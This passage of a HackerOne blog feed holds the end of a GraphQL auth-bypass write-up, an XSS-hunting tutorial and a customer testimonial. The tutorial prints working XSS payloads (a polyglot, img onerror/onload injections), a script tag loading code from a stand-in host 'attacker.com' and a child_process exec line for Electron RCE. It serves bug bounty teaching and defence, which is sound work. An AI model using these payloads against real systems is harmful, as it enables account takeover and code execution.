query parameter like this:</p>https://host/graphql?query=query{__typename}<p dir="ltr">In a POST request, it would be a request sent to&nbsp;https://host/graphql with the body:</p>query=query{__typename}<p dir="ltr">If the target endpoint is indeed running GraphQL, it would respond with something like:</p>{"data":{"__typename":"Query"}}<p dir="ltr">To test if introspection is enabled, the hacker can send a basic introspection query:</p>query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}<p dir="ltr">If introspection is enabled, the hacker might paste the returned schema into&nbsp;<a href="https://graphql-kit.com/graphql-voyager/">GraphQL Voyager</a> to visualize the entire graph and the relationships between different types and fields within them, as well as use tools like&nbsp;<a href="https://github.com/graphql/graphql-playground">GraphQL Playground</a> or&nbsp;<a href="https://learning.postman.com/docs/sending-requests/graphql/graphql-client-interface/">Postman</a> to see all the queries that can be made.</p><p>&nbsp;</p><p>&nbsp;</p><p dir="ltr">If introspection is not enabled, insights can still be gained into the schema by analyzing frontend Javascript source code, as the web application making requests to GraphQL endpoints need to know where and how to make them. Using the browser's developer tools, an attacker may utilize the&nbsp;<a href="https://developer.chrome.com/docs/devtools/search/">search</a> functionality to search across all source code files on the site for keywords such as "graphql", "query" and "mutation".</p><p>&nbsp;</p><p dir="ltr">Other ways to deduce schema information include brute-forcing and inspecting background HTTP traffic. A Burp extension called&nbsp;<a href="https://github.com/forcesunseen/graphquail/releases/tag/v0.1" target="_blank">GraphQuail</a> automatically analyzes traffic to GraphQL endpoints in Burp live proxy traffic to build a schema file, and it will emulate a&nbsp;<a href="https://github.com/graphql/graphiql" target="_blank">GraphiQL</a> or Voyager interface within the target website using an identifier added after the target endpoint.</p><p>&nbsp;</p><p>&nbsp;</p><p dir="ltr">If the hacker is not getting enough traffic, or doesn't have a frontend website to get legitimate GraphQL queries, they may use a tool called&nbsp;<a href="https://github.com/nikitastupin/clairvoyance">clairvoyance</a> which can brute force potential types in a wordlist, and analyze error messages from GraphQL servers to guess the schema since they can leak names through typo guessing:</p><p dir="ltr"><br>While enumerating the schema, the attacker will look for authentication-related mutations that can be performed, such as registration of users, resetting passwords, changing user details (like email), or access permissions (like whether the user is an admin).</p><p dir="ltr">Furthermore, they'll likely try to query fields belonging to users that might be sensitive to authentication-related information, such as auth tokens, passwords and MFA secrets that could aid in authentication bypass. During this process, they'll also check for other vulnerabilities commonly present in GraphQL APIs, such as IDORs (Insecure Direct Object References), leaking of sensitive PII, and broken access control.&nbsp;</p><p dir="ltr">So there are lots of vulnerabilities in GraphQL systems ripe for finding. But why are auth bypasses a common impact of GraphQL bugs? We asked Francisco Bolivar:</p><blockquote><p dir="ltr"><strong>Q: Why is it common for GraphQL bugs to result in auth bypasses?</strong></p><p dir="ltr">J. Francisco Bolivar: One often encounters authorization bypasses in GraphQL bugs, because of its query language and schema design which are both flexible and complex. A number of variables explain this:</p><ul><li dir="ltr"><strong>Field-Level Granularity:</strong> The client is allowed to request particular data fields and nested data from GraphQl within a single query. In such circumstances, not all fields and types undergo equal authentication checks. An ineffective access control logic may determine permissions at a higher level than it can enforce by field or nested objects, accidentally allowing access to sensitive information.</li><li dir="ltr"><strong>Complex Schema Structures:</strong> GraphQL schemas can be quite complicated with deep nesting of types and relationships. This makes the implementation and maintenance of comprehensive access control rules more prone to oversight thereby resulting in chances of authorisation gaps.</li><li dir="ltr"><strong>Introspection Queries:</strong> GraphQL supports introspection queries that clients can use to discover the schema by default. Introspections when lacking proper security measures may help attackers find out about hidden fields, types and operations hence giving them valuable information they need to form queries that dodge checking authorizations.</li></ul></blockquote><h2>How Can You Avoid GraphQL-Related Bugs in Your Applications?</h2><p dir="ltr">Disabling GraphQL introspection definitely reduces an attacker's visibility into your application, but there's a game of balance here: if you have a bug bounty program, it may be beneficial to leave it on for testing or staging environments that researchers have access to so that they can quickly find critical issues such as authentication bypass and address the root causes. On the other hand, if you only make your production environment available to bug bounty hackers, then you should turn introspection off to minimize risk.</p><p dir="ltr">As for protecting against discovering the GraphQL schema via leaking correct types from suggestions in validation error messages, it's currently not a first-class configuration feature in Apollo (which is one of the most popular GraphQL servers), but there's a&nbsp;<a href="https://stackoverflow.com/a/68739098/13962291" target="_blank">workaround using the formatError handler</a> where you can string match for "Did you mean" and change the error message to something more generic.</p><p dir="ltr">The root cause of these types of vulnerabilities are, however, not GraphQL introspection, but the&nbsp;<strong>broken access control</strong> that allowed unauthenticated users to escalate privileges through sensitive mutations which they shouldn't be allowed to call. To address this root cause, authorization must be explicitly specified for&nbsp;<strong>each query and mutation</strong> in the schema, with the appropriate permission levels (for example, a normal user should not be able to call the&nbsp;CreateAdminUser mutation). The most secure code is code that does not exist: extraneous functionality such as&nbsp;CreateAdminUser should not even exist if it's not needed - the same goes with any other queries and mutations in a large GraphQL database.</p><h2>Conclusion</h2><p dir="ltr">With the rising popularity of GraphQL in web applications, it is essential to secure authentication and authorization correctly in GraphQL API, lest it becomes a path for attackers to bypass authentication and escalate privileges. With its large attack surface, GraphQL APIs should be constantly audited to lock down security permissions and remove unnecessary functionality. Fortunately, this severe vulnerability was found and reported via HackerOne's bug bounty program and fixed within a matter of days.&nbsp;</p><p dir="ltr">This bug was found during the 2023 HackerOne Ambassador World Cup (AWC), an eight-month-long, competition-driven way to build community engagement, collaboration, and ambassador brand awareness throughout the hacker community. We have some words from Francisco Bolivar about his own experience at the AWC:</p><blockquote><p dir="ltr"><strong>Q: What do you like about participating in the Ambassador World Cup?</strong></p><p dir="ltr">J. Francisco Bolivar: Participating in the Ambassador World Cup was one of the best experiences I had. It's the most important bug bounty competition, and I'm proud to have won it with my team, Spain. The experience allows me to connect with a global community, challenge and enhance my skills, and engage in meaningful cultural exchanges. Winning the Best Bug prize for AS Watson adds to my pride and highlights the significant impact of our work.</p></blockquote><p dir="ltr">The&nbsp;<a href="https://www.hackerone.com/lhe/join-ambassador-world-cup">2024 AWC is currently taking place</a>! The AWC, led by&nbsp;<a href="https://www.hackerone.com/hackers/brand-ambassador-program">HackerOne Brand Ambassadors</a>, allows teams of hackers worldwide to identify impactful vulnerabilities in participating customer programs. Reach out to your customer success manager to learn more about how your program can engage in the 2024 tournament!</p><h2>Secure Your Web Application From Authentication Bypass With HackerOne</h2><p dir="ltr">The advantage of having a bug bounty program is that hackers from our community constantly test your new applications, domains, and API endpoints as soon as they go live. HackerOne and our community of ethical hackers are best equipped to help organizations identify and remediate Authentication Bypass and other vulnerabilities, whether through&nbsp;<a href="https://www.hackerone.com/product/bug-bounty-platform">bug bounty</a>,&nbsp;<a href="https://www.hackerone.com/product/pentest">Pentest as a Service (PTaaS)</a>,&nbsp;<a href="https://www.hackerone.com/product/code-security-audit">Code Security Audit</a>, or other solutions by considering the attacker's mindset on discovering a vulnerability.</p><p dir="ltr">Download the&nbsp;<a href="https://www.hackerone.com/reports/7th-annual-hacker-powered-security-report">7th Annual Hacker Powered Security Report</a> to learn more about the impact of the top 10 HackerOne vulnerabilities, or&nbsp;<a href="https://www.hackerone.com/contact">contact HackerOne</a> to get started taking on Authentication Bypass vulnerabilities at your organization.</p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    

            
            <a href="https://www.hackerone.com/blog/topic/vulnerability-management" hreflang="en">Vulnerability Management</a>
        
    

            <p dir="ltr">GraphQL is a very popular technology stack used by backend APIs of web services and mobile applications alike. Its versatility in batch fetching and updating records makes it simple to implement complex business logic. However, there are many unseen risks when using GraphQL to build APIs. One of the biggest challenges is the enforcement of proper access control.</p><p dir="ltr">In this blog, we will investigate an authentication bypass vulnerability&nbsp;report in an e-commerce application API. The researcher,&nbsp;<a href="https://hackerone.com/jfran_cbit?type=user" target="_blank">J. Francisco Bolivar</a>, found that he could abuse GraphQL as an alternate channel to escalate privileges and ultimately gain administrative access that can alter content on a front-page promotional banner and details of promotional products.&nbsp;</p><p dir="ltr">Along with doing our own research on GraphQL testing and remediation, we've also reached out to J. Francisco Bolivar for a Q&amp;A on this bug report, so snippets from the Q&amp;A will be gem-dropped throughout the blog.</p>
      ]]></description>
  <pubDate>Mon, 29 Jul 2024 20:44:46 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5401 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>How to Find XSS</title>
  <link>https://www.hackerone.com/blog/how-find-xss</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">How to Find XSS</span>
    



    
        Haoxi Tan
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Tue, 06/25/2024 - 09:18
</span>

            
  
      
  
    Image
                



          

  

      
            June 25th, 2024

      
            <h2>What Is XSS?</h2><p dir="ltr">XSS, short for Cross-Site Scripting, is a common type of vulnerability in web applications that executes arbitrary JavaScript in the victim's browser. XSS can often be chained with other vulnerabilities to mount more impactful attacks, such as information disclosure, account takeover, and even remote code execution.</p><h2>XSS Vulnerabilities and How to Find Them</h2><p dir="ltr">XSS vulnerabilities discovered by security researchers can be grouped into three general categories: reflected, stored, and DOM-based, but other interesting situations also crop up (like blind XSS and server-side XSS). In this article, we will introduce each type of XSS and share tips and tricks on how to look for them.</p><h3>Payloads to Use</h3><p dir="ltr">For effective testing of parameters that might end up executing JavaScript, polyglots (a piece of data that can be interpreted into different formats) are extremely useful, as are large lists of known XSS payloads that might work in different scenarios.&nbsp;</p><p dir="ltr">For example, a straight-up&nbsp;&lt;script&gt; or&nbsp;&lt;img&gt; tag might only be good for a straightforward reflected XSS, whereas something that starts with&nbsp;"&gt;&lt;script&gt; would help close off a previous element's attribute and inject a new tag; but this polyglot&nbsp;<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#polyglot-xss">payload</a> would work in a variety of situations, including escaping quotes, closed brackets, injecting into attributes, and even in the middle of JavaScript comments.</p>&nbsp;" onclick=alert(1)//&lt;button ‘ onclick=alert(1)//&gt; */ alert(1)//<p dir="ltr">The&nbsp;<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection" target="_blank">PayloadsAllTheThings</a> GitHub repo has many normal and polyglot XSS payloads in different scenarios. The HackTricks page on XSS describes many scenarios and corresponding payloads. Last but not least, this Auto_Wordlists repo has many XSS wordlists for automated testing.</p><h3>Manual vs. Automated</h3><p dir="ltr">Both manual and automated approaches to finding XSS vulnerabilities have advantages. One consideration is scope: if the scope of a pentest or bug bounty program is very large in terms of apps and subdomains, employing an automated approach would help to find low-hanging XSS bugs in a large number of assets.</p><p dir="ltr">Popular tools for automating finding XSS bugs include&nbsp;<a href="https://github.com/hahwul/dalfox" target="_blank">Dalfox</a>,&nbsp;<a href="https://github.com/s0md3v/XSStrike" target="_blank">XSStrike</a>, and callback platforms like&nbsp;<a href="https://github.com/trufflesecurity/xsshunter" target="_blank">xsshunter</a> (depending on the policy of the program you are hunting on, as not all programs allow third party XSS callbacks). Dalfox supports both stored and reflected XSS, whereas XSStrike only supports reflected; xsshunter acts as a self-hosted callback XSS hook, which can be used in combination with Dalfox for blind XSS testing (where the JavaScript could be executed but is not immediately apparent in the response). At the moment, automated tools for finding anything beyond low-hanging reflected XSS are limited; they are best used to augment manual testing.</p><p dir="ltr">Manual testing is the only way to find deeper XSS vulnerabilities which may require bypassing complex application filters, different encodings, and bypassing Web Application Firewalls (WAFs). During manual testing of an application, you naturally pick up interesting application flows and parameters to test XSS with (such as OAuth login redirect parameters, user input being embedded in background API calls, and so on).</p><h3>Reflected XSS</h3><p dir="ltr">The most straightforward type of XSS vulnerability is reflected XSS (or RXSS for short). This is a type of non-persistent XSS (the attack payload does not persist on the server) that reflects the user input in an unsanitized way back to the output web page, resulting in the embedding of user-supplied HTML elements or attributes that are executed by the browser.</p><p dir="ltr">RXSS is usually found in a GET request where parameters in the URL are reflected back to the browser without proper encoding. Good examples of these include search queries, redirects, and error messages.</p><p dir="ltr">For example, in this&nbsp;<a href="https://hackerone.com/reports/2417864" target="_blank">report</a>, the error message on a login page is reflected from the URL without being HTML encoded:</p><p>&nbsp;</p><p dir="ltr">Another very popular place that RXSS pops up (pun intended) is redirect parameters. Application endpoints such as post-login redirects, "confirm you are leaving this site" redirects, and so on often contain parameters in the URL that the browser interprets; however, unchecked special URLs, such as ones starting with the "javascript" protocol, can lead to JavaScript execution.</p><p dir="ltr">For example, this bug&nbsp;<a href="https://hackerone.com/reports/1940245" target="_blank">report</a> describes an RXSS in a Shopify subdomain in the "returnTo" parameter, which appears to be a parameter that defines the redirect URL after a new account is created:</p><p dir="ltr">&nbsp;</p><h3>Stored XSS</h3><p dir="ltr">Stored XSS refers to user input stored by the web application that is unsanitized when rendered. Any web application that stores data from users (or other external sources) and then displays it elsewhere could be vulnerable to stored XSS. Popular places to look for stored XSS are comment fields, user profile data, private messages, and even&nbsp;<a href="https://nvd.nist.gov/vuln/detail/CVE-2023-43770">emails</a>. A famous example of stored XSS is the&nbsp;<a href="https://samy.pl/myspace/tech.html" target="_blank">Samy Worm</a>, which was a self-propagating XSS payload that added Samy Kamkar as a friend and posted a status update:&nbsp; "but most of all, samy is my hero".</p><p dir="ltr">To find stored XSS, you need to find a relationship between the source and the sink, i.e. you need to find where the user input eventually gets printed. Sometimes it's obvious, such as in the comment section of a blog. Other times, it's available on a separate page, like the user's profile after an update of the bio.</p><p dir="ltr">Sometimes, stored XSS is found in the lack of sanitization when converting from one format to another, such as rendering Markdown to HTML, like in this report on&nbsp;<a href="https://hackerone.com/reports/2257080">GitLab Stored XSS in its wiki</a>:</p><p>&nbsp;</p><p>&nbsp;</p><p dir="ltr">This is also a good example of mutation XSS, where broken or invalid HTML syntax is automatically fixed by the browser to facilitate a complex filter bypass. In places where free-form HTML code can be used in a limited way, like Markdown input, special syntax in forum posts, and so on, you may be able to find stored XSS by diving deep and playing around with different filter bypasses. For a really in-depth guide to bypassing XSS defenses (mutation XSS), check out&nbsp;<a href="https://aszx87410.github.io/beyond-xss/en/ch2/xss-defense-sanitization/">chapter 2 of the "Beyond XSS" book</a>.</p><h3 dir="ltr">Blind XSS</h3><p dir="ltr">Blind XSS (bXSS) is a form of stored XSS that is executed blindly in the sense that the payload is rendered on a system not accessible to the attacker. This often takes place in some administrative backend. The attacker can abuse the blind XSS to exfiltrate information or perform actions that would not otherwise be visible to them.&nbsp;</p><p dir="ltr">Some common places to find bXSS include:</p><ul><li dir="ltr">Injecting into logs via HTTP headers (like user agent and cookies)</li><li dir="ltr">Account registration</li><li dir="ltr">Feedback forms</li><li dir="ltr">Usernames / Email addresses</li></ul><p dir="ltr">Blind XSS vulnerabilities can be tricky to exploit because the researcher can't see the payload trigger in their browser. Instead, the attacker needs to host a callback endpoint (such as xsshunter or Burp collaborator) to detect the payload execution. A more complex payload can be injected to exfiltrate the contents of the current page.&nbsp;</p><p dir="ltr">For example, in this&nbsp;<a href="https://hackerone.com/reports/251224" target="_blank">report</a> the hacker put an XSS payload into the user's name during registration time, and the admin dashboard in a third-party domain triggers the XSS payload. To maximize your chances of finding Blind XSS on a program, make sure to include XSS payloads that do remote callbacks and have a persistent callback service that alerts you when payloads are triggered.</p><h2 dir="ltr">DOM-based XSS</h2><p dir="ltr">The Document Object Model (DOM for short) is the internal representation of parsed HTML code in the browser, which gets rendered and displayed as the resulting web page. This document object can be manipulated with JavaScript to dynamically change the contents of a page; in fact, it is often done by Single Page Applications (SPAs) and JavaScript frameworks to dynamically update a web application with new content.</p><p dir="ltr">DOM-based XSS refers to an XSS that takes place purely in the client-side code, such as a call to the&nbsp;document.write function or appending data to the&nbsp;innerHTML of an element. Finding DOM-based XSS often requires analysis of sources and sinks in the JavaScript code. A good tool for doing that is Burp Suite's&nbsp;<a href="https://portswigger.net/burp/documentation/desktop/tools/dom-invader" target="_blank">DOM Invader,</a> which is installed in the Burps' default browser as an extension. To enable it, go into extensions in the Burp browser and turn on "Burp Suite":</p><p>&nbsp;</p><p dir="ltr">Then, click on the enabled extension on the top right corner, enable everything, and copy the canary it generates:&nbsp;</p><p dir="ltr"><br>Now, when DOM Invader loads a web page, you can use that canary in the fields you want to test (e.g. search fields, and it will highlight the sinks that it has identified the canary going into:</p><p dir="ltr"><br>Here, DOMInvader has identified a DOM XSS vulnerability in Portswigger Academy's&nbsp;<a href="https://ginandjuice.shop/">Gin and Juice Shop</a> (an intentionally vulnerable web application). It highlights the part of the payload that's embedded in the sink, and from there, we can craft an exploit, knowing that the user input is embedded in the end of a&nbsp;src attribute in an&nbsp;img tag:</p>&lt;img src="/resources/images/tracker.gif?searchTerms=fm9nqp15"&gt;<p dir="ltr">We can click the "Exploit" button, at which point DOM invader tries to close off the tag and add a new HTML tag to execute JavaScript:</p>https://ginandjuice.shop/blog/?search=%22%27%3E%3Cimg%20src%20onerror=alert(1)%3E&amp;back=1<p dir="ltr">Which essentially manipulates the element to this:</p>&lt;img src="/resources/images/tracker.gif?searchTerms="'&gt;&lt;img src onerror=alert(1)&gt;"&gt;<p dir="ltr">But that doesn't work, as HTML tags are not allowed, and the web app blocks our request:</p><p>&nbsp;</p><p dir="ltr">But since we now know where the vulnerability is, we can create our own payload, which just adds an&nbsp;onload attribute to execute JavaScript after the image is loaded:</p>&lt;img src="/resources/images/tracker.gif?searchTerms=asdf" onload="alert(1)"&gt;<p>&nbsp;</p><p dir="ltr">And just like that, we've found and validated a DOM-based XSS using DOM invader.</p><h2 dir="ltr">Finding XSS in Unusual Places</h2><h3 dir="ltr">XSS in PDFs</h3><p dir="ltr">Pay extra attention to any functionality that generates PDFs, as the rendering process of a HTML page into PDF could result in the execution of JavaScript in the process on the server side, leading to Server Side XSS and other bugs like local file inclusion and SSRF via&nbsp;iframe and other tags. Server Side XSS has a severe impact and can be used to disclose information about the server, use it to request data from internal servers, and could even be used to run an internal port scan.</p><p dir="ltr">You can use some basic tags such as&nbsp;&lt;img src="x" onerror="document.write('test')" /&gt; to test if JavaScript is executed during the PDF generation process to add extra data into the document, and then try other things like loading a remote script from your own domain (like&nbsp;&lt;script src="http://attacker.com/myscripts.js"&gt;&lt;/script&gt;).</p><p dir="ltr">XSS in PDFs can also execute in the browser via vulnerable PDF rendering components that inadvertently allow JavaScript execution. For example, this&nbsp;<a href="https://hackerone.com/reports/881557" target="_blank">report</a> shows a stored XSS in the PDF rendering component in Slack (which allows users to upload PDFs and other files, and has a built-in PDF viewer for convenience). It was rated as a high-severity bug and had a payout close to $5000.</p><p>&nbsp;</p><h3 dir="ltr">XSS in Electron Applications</h3><p dir="ltr">Electron applications (such as Slack and Microsoft Teams) bundle a local NodeJS backend with a Chromium browser frontend. That means web application vulnerabilities apply to Electron applications and can even have more severe consequences. Execution of backend JavaScript can result in RCE (Remote Code Execution) on the local machine if the right requirements are met.</p><p dir="ltr">It's very easy to unpack and inspect the source code of Electron applications: find the app.asar file and use the&nbsp;<a href="https://www.npmjs.com/package/asar">asar</a> utility from npm to extract it into a directory, then generate its lockfile and analyze it for vulnerabilities in JavaScript dependencies using&nbsp;npm audit:</p>asar extract app.asar app; cd app<br>npm i --package-lock-only<br>npm audit<p dir="ltr">Check its source code for any mention of&nbsp;nodeIntegration, and if&nbsp;nodeIntegration: true is present, it means XSS vulnerabilities can also execute backend NodeJs code and would lead to RCE. For example, an attacker that can execute arbitrary JavaScript in an Electron app can run&nbsp;require('child_process').exec('calc'); which uses the&nbsp;child_process module in NodeJS to run any commands on the machine.</p><p dir="ltr">Any XSS vulnerabilities that apply to normal web applications can also apply to Electron applications, especially stored and DOM-based XSS. For example, this&nbsp;<a href="https://hackerone.com/reports/276031" target="_blank">RCE vulnerability</a> in Rocket Chat's desktop app comes from execution of arbitrary HTML and JavaScript content in the context of the Electron application. Using an XSS vulnerability in its Markdown parser, the attacker could redirect the user to a malicious web page and use JavaScript to execute code on the local machine.</p><p dir="ltr"><br>When testing Electron desktop applications, be sure to try various features that turn user input into HTML (like markdown and PDF rendering), and use tools such as&nbsp;<a href="https://github.com/doyensec/electronegativity">Electronegativity</a> to identify potential security misconfigurations and DOM-based vulnerabilities.</p><h2 dir="ltr">Conclusion</h2><p dir="ltr">XSS is one of the most common vulnerabilities in web applications, and an ongoing area of security research. This article tries to scratch just beneath the surface to share tips and tricks for finding interesting XSS vulnerabilities, but nothing beats the curiosity, creativity, and persistence of a hacker (yes, I am talking about you) when it comes to finding novel vulnerabilities, exploits, and bypasses.&nbsp;</p><p dir="ltr">Happy hacking!</p><h2>Secure Your Web Application From XSS With HackerOne</h2><p dir="ltr">HackerOne and our community of ethical hackers are best equipped to help organizations identify and remediate XSS and other vulnerabilities, whether through&nbsp;<a href="https://www.hackerone.com/product/bug-bounty-platform">bug bounty</a>,&nbsp;<a href="https://www.hackerone.com/product/pentest">Pentest as a Service (PTaaS)</a>,&nbsp;<a href="https://www.hackerone.com/product/code-security-audit">Code Security Audit</a>, or other solutions by considering the attacker's mindset on discovering a vulnerability.</p><p dir="ltr">Download the&nbsp;<a href="https://www.hackerone.com/reports/7th-annual-hacker-powered-security-report">7th Annual Hacker Powered Security Report</a> to learn more about the impact of the top 10 HackerOne vulnerabilities, or&nbsp;<a href="https://www.hackerone.com/contact">contact HackerOne</a> to get started taking on XSS vulnerabilities at your organization.</p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    ]]></description>
  <pubDate>Tue, 25 Jun 2024 14:18:12 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5385 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>5 Bug Bounty Insights From SIX Group</title>
  <link>https://www.hackerone.com/blog/5-bug-bounty-insights-six-group</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">5 Bug Bounty Insights From SIX Group</span>
    



    
        H1 Team
        
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Wed, 05/29/2024 - 13:04
</span>

            
  
      
  
    Image
                



          

  

      
            May 29th, 2024

      
            <h2>1. Why VDP and Bug Bounty?</h2><p>At SIX Group, Alex Hagenah emphasized the year-round success of going beyond the regulatory requirements of the financial services industry.</p><blockquote><p>“We’re a highly regulated market, so we have to run pentests. But the more we onboarded onto our bug bounty program, the more we see there are issues we haven’t found before — and they’re introduced all the time. When applications are updated, we can say we did our due diligence, but we also have hackers looking at it around the clock. It’s incredible, and we find bugs all year round now.”<br>— Alex Hagenah, Head of Cyber Controls, SIX Group</p></blockquote><h2>2. Unmatched Creativity</h2><p>Focused on making the Swiss financial market secure, SIX Group relies heavily on the creativity of bug bounty security researchers.</p><blockquote><p>“Whatever team I build up, they cannot replicate the creativity and man-hours being put in by ethical hackers on a bug bounty platform. We run pentests, then put it into a private program, then after putting it into the bug bounty, we still find critical vulnerabilities that weren’t found previously. You cannot replicate that creativity — they're specialists in all kinds of areas, and it’s super important for us to apply to them.”<br>— Alex Hagenah, Head of Cyber Controls, SIX Group</p></blockquote><h2>3. Time Spent</h2><p>A common question our panelists received was, “How much time do you spend on bug bounty, and do you have dedicated team members who work on it?” While every organization and security team is different, the amount of time teams need to dedicate to managing the bug bounty program was resoundingly reasonable.</p><blockquote><p>“Thank god we have the triagers at HackerOne. We don't spend too much time, and when the triagers confirm the bug, it comes to us only and the effort is not a lot. We have a person dedicated to bug bounty in my team, but it's not a full-time job for her.”<br>— Alex Hagenah, Head of Cyber Controls, SIX Group</p></blockquote><h2>4. Leadership Buy-in</h2><p>Perhaps the top concern from our event audience was the effort of receiving leadership buy-in and what methods our customers have used to champion the value of bug bounty and VDP in their organizations. To Alex, the ROI of bug bounty is clear.</p><blockquote><p>“Traditionally, you have your return on investment, which can be harder to express with bug bounty. How I sell it internally is you have the return of mitigation or return of prevention. If you just tell them ‘Give me that amount of money for our bug bounty program,’ they think, ‘But what do we get in return?’ Well, if we have a breach, it's going to cost you millions. Then, it's actually not a lot of money, right?”<br>— Alex Hagenah, Head of Cyber Controls, SIX Group</p></blockquote><h2>5. Budget</h2><p>Leadership buy-in and budget allocation go hand-in-hand. At SIX Group, Hagenah proved that bug bounty budget is crucial to achieving goals.</p><blockquote><p>“For me, it was essential that we incorporated bug bounty into our comprehensive information security strategy. Otherwise, we wouldn't be able to achieve what we want to achieve. This approach has been crucial in securing and spreading the budget for it over a few years.”<br>—&nbsp; Alex Hagenah, Head of Cyber Controls, SIX Group</p></blockquote><p>Thank you so much to our customer SIX Group for joining us! To discuss the benefits of bug bounty and VDP with HackerOne, <a href="https://www.hackerone.com/contact">contact us today.</a></p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    
            <p>“We have Code Review, Pentest, and on top of that, we have VDP and Bug Bounty running 24/7/365. I will say it's 100% worth it.”</p><p>That’s the gusto with which HackerOne customer SIX Group expresses the power of bug bounty and vulnerability disclosure programs (VDPs) with HackerOne Response. Alex Hagenah, Head of Cyber Controls at SIX Group, joined us at Security@ EMEA to discuss aspects of community-driven security, from time and budget to leadership buy-in.</p>
      ]]></description>
  <pubDate>Wed, 29 May 2024 18:04:47 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5372 at https://www.hackerone.com</guid>
    </item>

  </channel>
</rss>
